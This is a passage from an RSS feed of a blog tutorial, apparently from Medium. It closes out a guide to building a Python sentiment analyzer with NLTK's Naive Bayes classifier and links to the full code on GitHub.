word_tokenize(input) function. After that we have to filter this input by calling get_filtered_words(input) function (that we defined a little earlier).</p><p>Now, we are ready to train the Model!</p><p>We will first assemble all the data we are going to use to Train:</p><pre>data = negative_reviews + positive_reviews</pre><p>Now, ironically, the easiest part!</p><pre>classifier = NaiveBayesClassifier.train(data)<br>print(classifier.classify(filtered_input))</pre><p>That’s it! You’ve made yourself a Sentiment Analyzer in merely 50 lines of code! You can extend the functionality to Analyzing User Tweets for some practice!</p><p><em>The complete code is available on: </em><a href="https://github.com/YashitM/Sentiment-Analyser"><em>https://github.com/YashitM/Sentiment-Analyser</em></a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=6ad780797b76" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>